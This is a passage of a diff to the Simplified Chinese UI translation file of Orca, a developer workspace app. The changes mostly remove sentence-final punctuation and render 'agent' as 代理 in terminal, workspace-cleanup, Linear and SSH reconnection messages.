                 "d12d3d6f33": "刷新 GitHub API 预算",
-                "d5e5de9070": "Orca 通过 GitHub CLI 使用 REST、搜索和 GraphQL。",
+                "d5e5de9070": "Orca 通过 GitHub CLI 使用 REST、搜索和 GraphQL",
                 "58c5f88216": "GitHub API 预算",
                 "01f7323e58": "GraphQL API",
                 "1daf0f22a9": "GraphQL",
@@ -3041,7 +3282,7 @@
         },
         "CommentReactions": {
           "addReaction": "添加反应",
-          "removeNamedReaction": "去除 {{value0}} 反应",
+          "removeNamedReaction": "移除 {{value0}} 反应",
           "addNamedReaction": "添加 {{value0}} 反应",
           "reaction": {
             "thumbsUp": "赞",
@@ -3075,12 +3316,12 @@
               "f8f704a019": "取消",
               "e603ee9156": "工作区 API 设置",
               "dc7ccb0f7c": "个人 API 密钥",
-              "e3100b36b9": "如果成员 API 密钥被阻止，请请求工作区管理员允许他们通过工作区 API 设置。",
-              "d56d3629f4": "当 Orca 应显示该账户可以在该工作区中访问的每个团队时，首选完全访问权限。受限密钥仅公开允许的团队，而私有团队需要密钥所有者才能访问。",
-              "af52a6227f": "从账户 > 安全和访问创建个人 API 密钥。",
+              "e3100b36b9": "如果成员 API 密钥被阻止，请请求工作区管理员允许他们通过工作区 API 设置",
+              "d56d3629f4": "当 Orca 应显示该账户可以在该工作区中访问的每个团队时，首选完全访问权限，受限密钥仅公开允许的团队，而私有团队需要密钥所有者才能访问",
+              "af52a6227f": "从账户 > 安全和访问创建个人 API 密钥",
               "edec49dfae": "lin_api_...",
               "7d498f653c": "个人API密钥",
-              "c9889a09f8": "在创建密钥之前，使用 Linear 选择所需的工作区。"
+              "c9889a09f8": "在创建密钥之前，使用 Linear 选择所需的工作区"
             }
           }
         },
@@ -3088,7 +3329,7 @@
           "view": {
             "surfaces": {
               "8bbecb2510": "没有任何",
-              "e1fa97d21d": "选择一个项目以查看其概述。",
+              "e1fa97d21d": "选择一个项目以查看其概述",
               "1748d3b9af": "标签",
               "65bda65159": "成员",
               "c5f79616c3": "团队",
@@ -3103,7 +3344,7 @@
               "bb1405eff8": "里程碑",
               "5d99315fb8": "规划",
               "563501f191": "进度",
-              "bb5664d456": "无项目描述。",
+              "bb5664d456": "无项目描述",
               "7b147907dc": "Linear",
               "a9785c7158": "刷新",
               "ee3d2caabd": "议题",
@@ -3112,19 +3353,18 @@
               "7616c986c6": "打开 {{value0}} 议题",
               "openInLinear": "在 Linear 中打开 {{value0}}",
               "93e1f6bfca": "加载中",
-              "linearLoginUnreadable": "无法读取已保存的 Linear 登录信息。请在设置中重新连接。",
+              "linearLoginUnreadable": "无法读取已保存的 Linear 登录信息，请在设置中重新连接",
               "f2cc1e0ff6": "Linear/项目",
               "906b5e4cb8": "Linear/项目/{{value0}}",
               "85607ff793": "项目",
               "20b9d09b7d": "未知",
-              "f059181bd9": "私有",
+              "f059181bd9": "私人的",
               "27d91cb1a6": "共享",
-              "9f0f51fd9e": "在 Linear 中创建或保存视图，然后刷新。",
-              "f4c79cff5f": "查看下面的工作区错误，然后刷新。",
+              "9f0f51fd9e": "在 Linear 中创建或保存视图，然后刷新",
+              "f4c79cff5f": "查看下面的工作区错误，然后刷新",
               "ef90b21366": "未找到任何视图",
               "c0a50f96a4": "无法加载视图",
-              "df4bd63c1d": "未分配",
-              "30402d2c6e": "尝试搜索或刷新。",
+              "30402d2c6e": "尝试搜索或刷新",
               "a2f31c4cd6": "未找到 Linear 项目",
               "c9b6e9f90d": "无法加载 Linear 项目",
               "scopedIssueCount_other": "范围内有 {{count}} 个议题",
@@ -3140,8 +3380,8 @@
             "a14ce4df2b": "所有工作区",
             "05baa5ae90": "工作区",
             "89f6580dbf": "搜索团队...",
-            "b3488fad3c": "没有提取任何团队。访问权限可能取决于密钥范围、私有团队成员资格、存档团队、权限或获取失败。",
-            "405b33c378": "没有提取的团队与您的搜索相匹配。",
+            "b3488fad3c": "没有提取任何团队，访问权限可能取决于密钥范围、私有团队成员资格、存档团队、权限或获取失败",
+            "405b33c378": "没有提取的团队与您的搜索相匹配",
             "teamCount_other": "{{count}} 个团队"
           }
         },
@@ -3175,7 +3415,7 @@
             "ed2a664f8b": "无法创建工作树",
             "a3346fc6ed": "取消工作树创建",
             "532aea14ce": "取消",
-            "767951265d": "创建工作树时出现问题。",
+            "767951265d": "创建工作树时出现问题",
             "cancelProvisioning": "取消",
             "vmProvisioningLogEmpty": "正在等待环境模板输出…"
           }
@@ -3191,9 +3431,9 @@
           "WorkspaceCleanupDialog": {
             "3828408538": "删除 {{value0}}",
             "b6bae1eed1": "取消",
-            "38ca0b1400": "这将永久删除他们的本地文件。您无法撤销此操作。",
+            "38ca0b1400": "这将永久删除他们的本地文件，您无法撤销此操作",
             "e97e4580c7": "有改动",
-            "9623a5107d": "未推送的 commits",
+            "9623a5107d": "未推送的提交",
             "e8b3741ff7": "被忽略",
             "a9957007eb": "忽略 {{value0}}",
             "bef0adef9b": "分支",
@@ -3207,9 +3447,9 @@
             "662b8ec3f8": "工作区清理扫描失败",
             "9cc26c019d": "移除",
             "0e2d235c63": "非活动工作区扫描已就绪",
-            "4a35c08764": "查看",
-            "47123d0108": "正在扫描非活动工作区。你可以关闭此窗口，稍后再回来查看。",
-            "1d3503357d": "删除继续期间，你可以关闭此窗口并稍后回来。",
+            "4a35c08764": "评审",
+            "47123d0108": "正在扫描非活动工作区，你可以关闭此窗口，稍后再回来查看",
+            "1d3503357d": "删除继续期间，你可以关闭此窗口并稍后回来",
             "4c2990886e": "已删除 {{value0}}/{{value1}}",
             "86ba852118": "{{value0}}，{{value1}} 个失败",
             "deleteButtonCount": "删除 {{value0}}",
@@ -3219,10 +3459,10 @@
           "backgroundRemoval": {
             "failed": "未删除工作区：{{value0}}",
             "error": "工作区清理失败",
-            "skippedAncestor": "由于无法删除嵌套工作区，已跳过。",
-            "timedOut": "删除 {{value0}} 的时间比预期长。它将在后台继续运行。",
+            "skippedAncestor": "由于无法删除嵌套工作区，已跳过",
+            "timedOut": "删除 {{value0}} 的时间比预期长，它将在后台继续运行",
             "stillRemoving": "仍在移除工作区：{{value0}}",
-            "skippedPendingAncestor": "已跳过，因为嵌套的工作区尚未完成移除。"
+            "skippedPendingAncestor": "已跳过，因为嵌套的工作区尚未完成移除"
           },
           "candidateRow": {
             "gitLabel": "Git",
@@ -3241,8 +3481,8 @@
             "terminalTabsCount": "终端标签页：{{value0}}",
             "editorTabsCount": "编辑器标签页：{{value0}}",
             "browserTabsCount": "浏览器标签页：{{value0}}",
-            "diffNotesCount": "Diff 备注：{{value0}}",
-            "completedAgentsCount": "已完成智能体：{{value0}}",
+            "diffNotesCount": "差异备注：{{value0}}",
+            "completedAgentsCount": "已完成代理：{{value0}}",
             "mainWorkspaceBlocker": "主工作区",
             "folderProjectBlocker": "文件夹项目",
             "pinnedBlocker": "已固定",
@@ -3252,7 +3492,7 @@
             "dirtyEditorBufferBlocker": "未保存的编辑器缓冲区",
             "volatileLocalContextBlocker": "易变本地上下文",
             "recentVisibleContextBlocker": "最近访问的标签页",
-            "liveAgentBlocker": "活动智能体",
+            "liveAgentBlocker": "活动代理",
             "sshDisconnectedBlocker": "远程不可用",
             "gitStatusErrorBlocker": "Git 状态不可用",
             "dirtyFilesBlocker": "已更改文件",
@@ -3274,7 +3514,7 @@
       "ui": {
         "color": {
           "picker": {
-            "ebcf6ba29e": "无效的十六进制颜色。",
+            "ebcf6ba29e": "无效的十六进制颜色",
             "faa855a582": "十六进制",
             "1cec618bcc": "{{value0}} 选择器"
           }
@@ -3286,7 +3526,7 @@
         "repo": {
           "multi": {
             "combobox": {
-              "4471d4a1c0": "没有符合您搜索条件的项目。",
+              "4471d4a1c0": "没有符合您搜索条件的项目",
               "bfd8ce21c6": "所有项目",
               "a58a0cd100": "搜索项目...",
               "65a3dae41d": "没有项目"
@@ -3295,43 +3535,47 @@
         },
         "sheet": {
           "1189e9fe0a": "关闭"
+        },
+        "command": {
+          "paletteTitle": "命令面板",
+          "paletteDescription": "搜索要运行的命令…"
         }
       },
       "terminal": {
         "quick": {
           "commands": {
             "TerminalQuickCommandActionToggle": {
-              "b0d58e37ed": "智能体提示",
+              "b0d58e37ed": "代理提示",
               "b5ea4d64f6": "终端命令",
               "terminal_short": "终端",
-              "agent_short": "智能体"
+              "agent_short": "代理"
             },
             "TerminalQuickCommandAppendEnterSwitch": {
               "e4e5fed3b3": "切换追加 Enter",
-              "c936c2d6d2": "立即提交，而不仅仅是插入文本。",
+              "c936c2d6d2": "立即提交，而不仅仅是插入文本",
               "5fa607d807": "追加输入",
-              "767e4be3e3": "Append Enter — 立即运行"
+              "767e4be3e3": "附加回车 — 立即运行"
             },
             "TerminalQuickCommandDialog": {
               "925b8e0f6e": "高级",
               "79af0c0841": "npm run dev",
-              "577a342c7d": "要求智能体调查此工作区",
+              "577a342c7d": "要求代理调查此工作区",
               "026cfb232a": "不支持提示命令",
-              "346d409ab2": "选择智能体",
-              "0adba8fa0c": "智能体",
+              "346d409ab2": "选择代理",
+              "0adba8fa0c": "代理",
               "ec8f081919": "操作",
-              "ed04233b3e": "保存的条目会显示在标签栏菜单中，一键即可运行。",
-              "dc921c17ee": "提示词",
+              "ed04233b3e": "保存终端命令或代理提示以便快速访问",
+              "dc921c17ee": "提示",
               "5b3f634a55": "添加快捷命令",
               "f9b184fc16": "编辑快捷命令",
               "command_label": "命令",
-              "agent_toolbar_hint": "支持/目标、技能、路径",
-              "agent_footer_hint": "多行提示很好——让他们保持专注。",
-              "resize_hint": "拖动角点以调整大小",
-              "length_over_limit": "内容过长，无法保存。",
+              "agent_toolbar_hint": "支持 /goal、技能、路径",
+              "agent_footer_hint": "多行提示没问题 — 保持专注即可",
+              "resize_hint": "拖动角落调整大小",
+              "length_over_limit": "内容过长，无法保存",
               "length_count": "{{value0}} / {{value1}} 个字符",
               "size_count": "{{value0}} / {{value1}}",
-              "prompt_over_host_limit": "对此主机来说过长。请在主机上更新 Orca 以保存更长的提示词。"
+              "prompt_over_host_limit": "对此主机来说过长，请在主机上更新 Orca 以保存更长的提示词"
             },
             "TerminalQuickCommandDialogFooter": {
               "2e2b958dfc": "保存",
@@ -3343,7 +3587,7 @@
               "db17f1e41e": "标签"
             },
             "TerminalQuickCommandScopeField": {
-              "2db6edede7": "保存将保留现有项目范围，除非您选择另一个范围。",
+              "2db6edede7": "保存将保留现有项目范围，除非您选择另一个范围",
               "2496523a6f": "选择项目",
               "2264edd5d3": "项目不在列表中",
               "3834d24243": "项目",
@@ -3355,34 +3599,34 @@
         "pane": {
           "CloseTerminalDialog": {
             "1d1a7a9c1f": "取消",
-            "stop_agent_title": "停止此智能体？",
+            "stop_agent_title": "停止此代理？",
             "stop_command_title": "停止运行中的命令？",
-            "stop_chat_description": "关闭此聊天将停止智能体当前任务。",
-            "stop_agent_description": "关闭此终端将停止智能体当前任务。",
-            "stop_command_description": "关闭此终端将停止其中正在运行的命令。",
+            "stop_chat_description": "关闭此聊天将停止智能体当前任务",
+            "stop_agent_description": "关闭此终端将停止代理当前任务",
+            "stop_command_description": "关闭此终端将停止其中正在运行的命令",
             "dont_ask_again": "对有运行中进程的终端不再询问",
-            "stop_agent_confirm": "停止智能体",
+            "stop_agent_confirm": "停止代理",
             "stop_command_confirm": "停止并关闭",
-            "automatic_resume_warning": "该终端不会自动恢复。请取消并让工作区进入休眠，以便稍后恢复。"
+            "automatic_resume_warning": "此终端不会自动恢复，若要稍后恢复，请取消并让工作区进入休眠"
           },
           "MobileDriverOverlay": {
             "c6460cf584": "收回",
             "c44659e09f": "手机控制中",
             "c7e4a2b8f1": "手机正在控制",
             "4b7e1c9a20": "尺寸仍适合您的手机",
-            "9d2f6a3e58": "您的手机会话结束了。恢复以适合此窗口。",
+            "9d2f6a3e58": "您的手机会话结束了，恢复以适合此窗口",
             "1e5c8b7d43": "恢复",
             "6a3d9f2c71": "全部恢复",
-            "8c1a5e9f36": "桌面打字已暂停。输出持续流动。",
+            "8c1a5e9f36": "桌面打字已暂停，输出持续流动",
             "2f7b4d1e95": "全部收回",
             "3a9c5f7e12": "最小化"
           },
           "TerminalAgentSessionForkDialog": {
             "17fc841e59": "复制上下文",
-            "0c8a8629b1": "派生会话会显示为独立工作区，而非嵌套子项。新智能体会收到一份有界转录稿，可作为可编辑草稿。",
+            "0c8a8629b1": "派生会话会显示为独立工作区，而非嵌套子项，新代理会收到一份有界转录稿，可作为可编辑草稿",
             "620461df22": "顶级派生",
-            "619b5a35d2": "创建一个顶级工作区分支并使用捕获的上下文启动一个新的智能体选项卡。",
-            "64e292e8e3": "派生智能体会话",
+            "619b5a35d2": "创建一个顶级工作区分支并使用捕获的上下文启动一个新的代理选项卡",
+            "64e292e8e3": "派生代理会话",
             "9d25de2920": "创建派生",
             "2b10412cfc": "创建中..."
           },
@@ -3397,7 +3641,7 @@
             "06c2b0f043": "均衡窗格大小",
             "98bccf4fa2": "向下拆分终端",
             "20e565d865": "向右拆分终端",
-            "8a7ddb8b8a": "派生智能体会话...",
+            "8a7ddb8b8a": "派生代理会话...",
             "0a82b0608c": "添加快捷命令...",
             "9528a65ef8": "没有快捷命令",
             "3ce594a4a0": "全局的",
@@ -3409,33 +3653,33 @@
             "925f49f210": "展开窗格",
             "df766809e0": "折叠窗格",
             "cff67afad1": "复制上下文",
-            "15dd899676": "添加到 {{value0}}..."
+            "15dd899676": "添加到 {{value0}}…"
           },
           "TerminalErrorToast": {
             "e4aa243f8c": "重新启动守护进程",
             "a7e2fd2699": "提交议题",
             "5c8ce20be6": "如果这种情况持续存在，请",
-            "cc6d997c65": "从此处重新启动终端守护进程以清除失效的守护进程状态。",
-            "remoteTerminalClosed": "远程终端已关闭。",
+            "cc6d997c65": "从此处重新启动终端守护进程以清除失效的守护进程状态",
+            "remoteTerminalClosed": "远程终端已关闭",
             "retry": "重试",
-            "retrying": "正在重试...",
-            "retryUnavailable": "重试仍无法重新连接。稍后再试。",
+            "retrying": "正在重试…",
+            "retryUnavailable": "暂时无法重新连接，请稍后重试",
             "openNewTerminal": "打开新终端",
-            "ownerUnknown": "Orca 无法验证该终端的所有者。",
-            "42b283ecfc": "Orca 无法安全地重新连接此终端，因为主机无法验证其保存的会话。 Orca 保持保存的会话不变。单击“重试”立即尝试重新连接。如果仍然无法重新连接，请打开一个新终端。",
-            "e16012e31e": "拥有该会话的终端守护程序已退出，因此该会话及其回滚无法恢复。打开新终端以继续。",
-            "sessionUnavailable": "Orca 无法重新连接到主机上此窗格的终端会话。打开新终端以继续。",
-            "sourceRestoring": "重新连接该终端 — 正在重新建立其输出。会话仍在进行。",
-            "ptyAllocationLimit": "系统无法再分配 pty 设备。请在 Orca 或其他程序中关闭一些不用的终端，然后重试。",
-            "terminalProcessLimit": "系统无法再启动终端进程。请关闭不用的终端或退出不用的进程，然后重试。",
-            "hostTerminalCap": "主机上运行的终端数量已达到 Orca 允许的上限。请关闭一个不再需要的终端，然后重试。",
-            "ownerHostMismatch": "此终端保存的会话属于另一个主机连接，因此 Orca 无法在此重新附加它。请打开新终端以继续。"
+            "ownerUnknown": "Orca 无法验证此终端的所属主机",
+            "42b283ecfc": "主机无法验证已保存的会话，因此 Orca 无法安全地重新连接此终端，Orca 未更改已保存的会话，点击“重试”立即尝试重新连接，如果仍无法连接，请打开新终端",
+            "e16012e31e": "拥有该会话的终端守护程序已退出，因此该会话及其回滚无法恢复，打开新终端以继续",
+            "sessionUnavailable": "Orca 无法重新连接到此窗格在主机上的终端会话，打开新终端以继续",
+            "sourceRestoring": "正在重新连接此终端——正在恢复其输出，会话仍在运行",
+            "ptyAllocationLimit": "系统无法再分配 pty 设备，请在 Orca 或其他程序中关闭一些不用的终端，然后重试",
+            "terminalProcessLimit": "系统无法再启动终端进程，请关闭不用的终端或退出不用的进程，然后重试",
+            "hostTerminalCap": "主机上运行的终端数量已达到 Orca 允许的上限，请关闭一个不再需要的终端，然后重试",
+            "ownerHostMismatch": "此终端保存的会话属于另一个主机连接，因此 Orca 无法在此重新附加它，请打开新终端以继续"
           },
           "TerminalProcessExitOverlay": {
             "capacityTitle": "已达到 Git Bash 控制台上限",
-            "capacityDetail": "Git Bash 已达到 128 个控制台的上限。关闭未使用的 Git Bash 终端，然后重新启动此终端。",
+            "capacityDetail": "Git Bash 已达到 128 个控制台的上限，关闭未使用的 Git Bash 终端，然后重新启动此终端",
             "failedTitle": "终端已退出",
-            "failedDetail": "Shell 进程以退出代码 {{code}} 结束。输出已保留。",
+            "failedDetail": "Shell 进程以退出代码 {{code}} 结束，输出已保留",
             "close": "关闭",
             "restart": "重新启动"
           },
@@ -3448,13 +3692,13 @@
           "TerminalSessionStateSaveFailureDialog": {
             "6bee0c8f17": "打开磁盘空间分析器",
             "ae20d0ffc2": "关闭",
-            "38c282a2c4": "分析器直接从这里打开。您也可以稍后从左下角的工具箱菜单中选择“空间分析器”将其打开。"
+            "38c282a2c4": "分析器直接从这里打开，您也可以稍后从左下角的工具箱菜单中选择\"空间分析器\"将其打开"
           },
           "zcode": {
             "missing": {
               "tui": {
                 "title": "此 ZCode 版本没有终端 UI",
-                "description": "Orca 的钩子已正确安装——但 PATH 中的 zcode 就是无法打开会话。ZCode 桌面应用打包了智能体运行时，却没有附带其终端 UI。请安装一个自带 TUI 的 zcode，然后在 Orca 之外运行 zcode 加以确认。"
+                "description": "Orca 的钩子已正确安装——但 PATH 中的 zcode 就是无法打开会话，ZCode 桌面应用打包了代理运行时，却没有附带其终端 UI，请安装一个自带 TUI 的 zcode，然后在 Orca 之外运行 zcode 加以确认"
               }
             }
           },
@@ -3463,7 +3707,7 @@
               "blocked": {
                 "toast": {
                   "97c98f1afe": "打开设置",
-                  "7cf51f74fd": "在终端设置中启用 TUI 剪贴板写入，以从 SSH、Zellij、tmux、Neovim、fzf 或 Grok 进行复制。",
+                  "7cf51f74fd": "在终端设置中启用 TUI 剪贴板写入，以从 SSH、Zellij、tmux、Neovim、fzf 或 Grok 进行复制",
                   "89eaa3e80b": "终端剪贴板写入被阻止"
                 }
               },
@@ -3471,7 +3715,7 @@
                 "on": {
                   "notice": {
                     "title": "TUI 剪贴板写入现已默认开启",
-                    "description": "Zellij、tmux、Neovim 等终端程序现在可以复制到你的剪贴板。可在 Terminal 设置中关闭。",
+                    "description": "Zellij、tmux、Neovim 等终端程序现在可以复制到您的剪贴板，可在终端设置中关闭",
                     "action": "打开设置"
                   }
                 }
@@ -3479,9 +3723,9 @@
               "failed": {
                 "toast": {
                   "62a0af2cb4": "无法确认终端剪贴板复制",
-                  "fdd3e7e977": "终端应用请求了复制，但 Orca 无法确认内容已写入系统剪贴板。",
+                  "fdd3e7e977": "终端应用请求了复制，但 Orca 无法确认内容已写入系统剪贴板",
                   "de286dcfe1": "终端复制需要点击",
-                  "84c938ffa2": "浏览器阻止了来自终端应用的复制。点击“复制”即可将文本放入剪贴板。",
+                  "84c938ffa2": "浏览器阻止了来自终端应用的复制。点击“复制”即可将文本放入剪贴板",
                   "a73165c6c5": "复制"
                 }
               }
@@ -3490,7 +3734,7 @@
           "stale": {
             "agent": {
               "row": {
-                "ad991ece5c": "智能体的窗格不再可用。",
+                "ad991ece5c": "代理的窗格不再可用",
                 "090d607412": "stale-agent-row-{{value0}}"
               }
             }
@@ -3499,31 +3743,31 @@
             "agent": {
               "session": {
                 "fork": {
-                  "2317900211": "无法复制派生上下文。",
+                  "2317900211": "无法复制派生上下文",
                   "88e34d00eb": "顶级会话分支在新工作区中打开",
-                  "fd3d12a1e1": "无法创建派生工作区。",
-                  "38e41edc6e": "该工作区无法派生为 Git 工作树。",
-                  "f867385bb5": "找不到此派生的源工作区。",
+                  "fd3d12a1e1": "无法创建派生工作区",
+                  "38e41edc6e": "该工作区无法派生为 Git 工作树",
+                  "f867385bb5": "找不到此派生的源工作区",
                   "046e8d853c": "没有要派生的终端上下文",
-                  "c00421d320": "已复制派生上下文。启动智能体并粘贴它以开始派生。",
+                  "c00421d320": "已复制派生上下文，启动代理并粘贴它以开始派生",
                   "f62b40e2c7": "没有可复制的终端上下文",
                   "373a3103e7": "已复制上下文",
-                  "3fc568a49d": "无法复制上下文。"
+                  "3fc568a49d": "无法复制上下文"
                 }
               }
             },
             "drop": {
               "handler": {
-                "0c77693641": "工作树尚未准备好 - 请稍后再试。",
-                "ce8248b835": "工作树路径不可用。",
-                "internalTooManyPaths": "拖放的路径过多，无法安全粘贴到终端。",
-                "internalPathsTooLarge": "拖放的路径列表过大，无法安全粘贴到终端。",
-                "internalHostMismatch": "请拖放与此终端位于同一主机的文件。",
-                "writeTimeout": "文件拖放已取消：终端在安全超时前未接受路径。",
-                "writeRejected": "文件拖放已取消：终端无法接受路径。",
-                "skippedSymlinks_other": "已跳过 {{count}} 个符号链接。",
-                "skippedItems_other": "已跳过 {{count}} 个条目。",
-                "failedUploads_other": "{{count}} 个文件上传失败。",
+                "0c77693641": "工作树尚未准备好 - 请稍后再试",
+                "ce8248b835": "工作树路径不可用",
+                "internalTooManyPaths": "拖放的路径过多，无法安全粘贴到终端",
+                "internalPathsTooLarge": "拖放的路径列表过大，无法安全粘贴到终端",
+                "internalHostMismatch": "请拖放与此终端位于同一主机的文件",
+                "writeTimeout": "文件拖放已取消：终端在安全超时前未接受路径",
+                "writeRejected": "文件拖放已取消：终端无法接受路径",
+                "skippedSymlinks_other": "已跳过 {{count}} 个符号链接",
+                "skippedItems_other": "已跳过 {{count}} 个条目",
+                "failedUploads_other": "{{count}} 个文件上传失败",
                 "uploadingFiles_other": "正在将 {{count}} 个文件上传到运行时…",
                 "uploadingFilesToRemote_other": "正在将 {{count}} 个文件上传到远端…"
               }
@@ -3557,46 +3801,46 @@
           },
           "PinnedTabCloseDialog": {
             "6c190f295a": "关闭固定的标签页？",
-            "0d1963f4a6": "此标签页已固定。确定要关闭它吗？",
+            "0d1963f4a6": "此标签页已固定，确定要关闭它吗？",
             "dont_ask_again": "固定标签页不再询问",
             "0b38ee2f86": "取消",
             "c337c9d75c": "关闭"
           },
           "TerminalSshReconnectOverlay": {
-            "authFailed": "{{value0}} 身份验证失败。请重新连接以继续此终端会话。",
-            "reconnectFailed": "与 {{value0}} 的 SSH 连接失败。请重新连接以继续此终端会话。",
-            "connecting": "正在连接到 {{value0}}。主机可用后，此终端将恢复。",
-            "connected": "SSH 已连接。",
-            "disconnected": "此终端正在等待 {{value0}}。请连接以继续此 SSH 会话。",
+            "authFailed": "{{value0}} 身份验证失败，请重新连接以继续此终端会话",
+            "reconnectFailed": "与 {{value0}} 的 SSH 连接失败，请重新连接以继续此终端会话",
+            "connecting": "正在连接到 {{value0}}，主机可用后，此终端将恢复",
+            "connected": "SSH 已连接",
+            "disconnected": "此终端正在等待 {{value0}}，请连接以继续此 SSH 会话",
             "connectFailed": "SSH 连接失败",
             "title": "需要 SSH 连接",
             "removedTitle": "SSH 主机已移除",
-            "removedBody": "此工作区的 SSH 主机已被移除，无法再连接。请移除工作区以清理 — 远程文件不会受影响。",
+            "removedBody": "此工作区的 SSH 主机已被移除，无法再连接，请移除工作区以清理 — 远程文件不会受影响",
             "removeWorkspaceButton": "移除工作区"
           },
           "TerminalRemoteRuntimeReconnectBanner": {
             "pairingRefusedTitle": "此主机不再接受这台电脑",
-            "pairingRefusedBody": "Orca 无法通过 SSH 重新与其配对。主机上没有任何内容被停止。请重新连接以重试。",
+            "pairingRefusedBody": "Orca 无法通过 SSH 重新与其配对，主机上没有任何内容被停止，请重新连接以重试",
             "disconnectedTitle": "远程运行时已断开连接",
-            "disconnectedBody": "自动重试已停止。重新连接以恢复此终端会话。",
+            "disconnectedBody": "自动重试已停止，重新连接以恢复此终端会话",
             "reconnectButton": "重新连接",
             "signInTitle": "正在等待 SSH 登录",
-            "signInBody": "登录到主机后，此终端会自动继续。",
+            "signInBody": "登录到主机后，此终端会自动继续",
             "signInButton": "登录",
             "serverRestartingTitle": "{{server}} 正在重启",
-            "serverRestartingBody": "服务器恢复后，Orca 会自动重新连接，终端也会随之继续运行。",
+            "serverRestartingBody": "服务器恢复后，Orca 会自动重新连接，终端也会随之继续运行",
             "streamStalledTitle": "终端无响应",
-            "streamStalledBody": "{{server}} 已停止发送此终端的输出。Orca 正在自动重新连接该终端。",
+            "streamStalledBody": "{{server}} 已停止发送此终端的输出。Orca 正在自动重新连接该终端",
             "sessionEndedTitle": "正在重新连接终端",
-            "sessionEndedBody": "{{server}} 关闭了此终端的数据流。Orca 正在自动重新连接该终端。",
+            "sessionEndedBody": "{{server}} 关闭了此终端的数据流。Orca 正在自动重新连接该终端",
             "waitingTitle": "正在等待 {{server}}",
-            "waitingBody": "服务器重新提供此终端或网络连接变化时，Orca 会重新连接它。点击“重新连接”可立即重试。",
+            "waitingBody": "服务器重新提供此终端或网络连接变化时，Orca 会重新连接它。点击“重新连接”可立即重试",
             "downFor": "已断开 {{duration}}",
             "tailscaleHint": "检查 Tailscale 链路：",
             "fallbackServerName": "服务器",
             "connectionLostTitle": "正在重新连接 {{server}}",
-            "connectionLostBody": "与服务器的连接已断开。Orca 正在自动重试，连接恢复后终端会继续运行。",
-            "reattachingBody": "Orca 正在自动将此终端重新连接到 {{server}}。",
+            "connectionLostBody": "与服务器的连接已断开。Orca 正在自动重试，连接恢复后终端会继续运行",
+            "reattachingBody": "Orca 正在自动将此终端重新连接到 {{server}}",
             "serverReplacedTitle": "此主机运行的是另一个 Orca 服务器",
             "serverReplacedBody": "Orca 正以其他 SSH 用户连接主机，或者其服务器已重新安装，因此重新连接无法恢复此终端。请在设置中遗忘此服务器，然后连接 SSH 主机以配对当前服务器。",
             "serverReplacedButton": "打开服务器设置"
@@ -3607,7 +3851,7 @@
             "switchWorkspace": "切换工作区",
             "openInFinder": "在 Finder 中打开",
             "openFolder": "打开文件夹",
-            "openWithDefaultApp": "使用默认应用程序打开",
+            "openWithDefaultApp": "用默认应用打开",
             "switchTerminal": "切换终端",
             "openTaskTerminal": "打开任务终端",
             "systemBrowser": "系统浏览器",
@@ -3617,14 +3861,14 @@
             "copied": "已复制",
             "copiedLink": "已复制链接",
             "copyLinkFailed": "复制链接失败",
-            "downloadOpenWithDefaultApp": "下载并使用默认应用程序打开",
-            "downloadOpenFailed": "无法下载“{{value0}}”。",
+            "downloadOpenWithDefaultApp": "下载并使用默认应用打开",
+            "downloadOpenFailed": "下载\"{{value0}}\"失败",
             "openInNewTab": "在新标签页中打开",
             "openInThisGroupRefused": "无法在此分组中打开 {{value0}}"
           },
           "TerminalQuickCommandsSubmenu": {
             "3ccc7981bb": "主机不可用",
-            "54f29b7c0d": "正在加载主机..."
+            "54f29b7c0d": "正在加载主机…"
           },
           "TerminalRestoringPlaceholder": {
             "restoring": "正在恢复终端…"
@@ -3635,16 +3879,16 @@
             "copyPrompt": "复制提示",
             "exitedDuringStart": "{{agent}} 在启动时退出了。",
             "notStarted": "无法启动 {{agent}}。",
-            "restoreWorkspace": "请恢复工作区文件夹或打开可用的工作区，然后重试。",
-            "tryInTerminal": "请在此文件夹的终端中运行它以查看原因，然后重试。",
-            "unconfirmed": "无法确认 {{agent}} 已启动。请先检查其终端，再重试。",
+            "restoreWorkspace": "请恢复工作区文件夹或打开可用的工作区，然后重试",
+            "tryInTerminal": "请在此文件夹的终端中运行它以查看原因，然后重试",
+            "unconfirmed": "无法确认 {{agent}} 已启动。请先检查其终端，再重试",
             "workspaceGone": "无法启动 {{agent}}，因为其工作区已不可用。"
           },
           "TerminalSleepingPaneOverlay": {
-            "pausedDetail": "由于主机意外停止，自动恢复已暂停。您的会话已保存。",
-            "liveCapDetail": "此主机上已有足够多的智能体在运行。您的会话已保存。",
-            "pressureDetail": "主机负载过高。您的会话已保存。",
-            "deadlineDetail": "主机正忙于恢复其他终端。您的会话已保存。",
+            "pausedDetail": "由于主机意外停止，自动恢复已暂停，您的会话已保存",
+            "liveCapDetail": "此主机上已有足够多的代理在运行，您的会话已保存",
+            "pressureDetail": "主机负载过高，您的会话已保存",
+            "deadlineDetail": "主机正忙于恢复其他终端，您的会话已保存",
             "title": "休眠中 — 点击恢复",
             "resume": "恢复",
             "resumeAutomaticRestores": "继续自动恢复"
@@ -3655,6 +3899,9 @@
           "RemoteViewportHeldChip": {
             "sizedElsewhere": "已按其他窗口调整大小",
             "fitHere": "在此适配"
+          },
+          "legacyRelayBridge": {
+            "unreachable": "此终端仍在主机上以旧版本 Orca 运行，正在重新连接…"
           }
         }
       },
@@ -3666,20 +3913,20 @@
             "closePaneColumn": "关闭拆分窗格"
           },
           "AiVaultSessionDropLayer": {
-            "dropOntoTerminalPane": "拖放到终端面板以恢复此会话。",
-            "couldNotReadPayload": "无法读取会话拖拽数据。",
+            "dropOntoTerminalPane": "拖放到终端面板以恢复此会话",
+            "couldNotReadPayload": "无法读取会话拖拽数据",
             "sessionQueued": "会话已排队",
-            "openSupportedWorkspace": "在恢复会话之前，请先打开一个工作区。",
-            "sessionHostMismatchUnsupported": "此会话属于其他主机。请将其拖放到同一主机上的工作区。",
-            "oldPayload": "此会话是从较早版本的 Orca 窗口拖入的。请改从会话历史恢复。",
-            "legacyDragCannotRetarget": "此会话是从旧版 Orca 窗口拖入的，因此 Orca 无法将其切换到所选的 Codex 账户。请从会话历史面板恢复。",
-            "legacyDragPrepareFailed": "Orca 无法准备此旧版 Codex 会话。请再次尝试恢复。"
+            "openSupportedWorkspace": "在恢复会话之前，请先打开一个工作区",
+            "sessionHostMismatchUnsupported": "此会话属于其他主机，请将其拖放到同一主机上的工作区",
+            "oldPayload": "此会话是从较早版本的 Orca 窗口拖入的，请改从会话历史恢复",
+            "legacyDragCannotRetarget": "此会话是从旧版 Orca 窗口拖入的，因此 Orca 无法将其切换到所选的 Codex 账户。请从会话历史面板恢复",
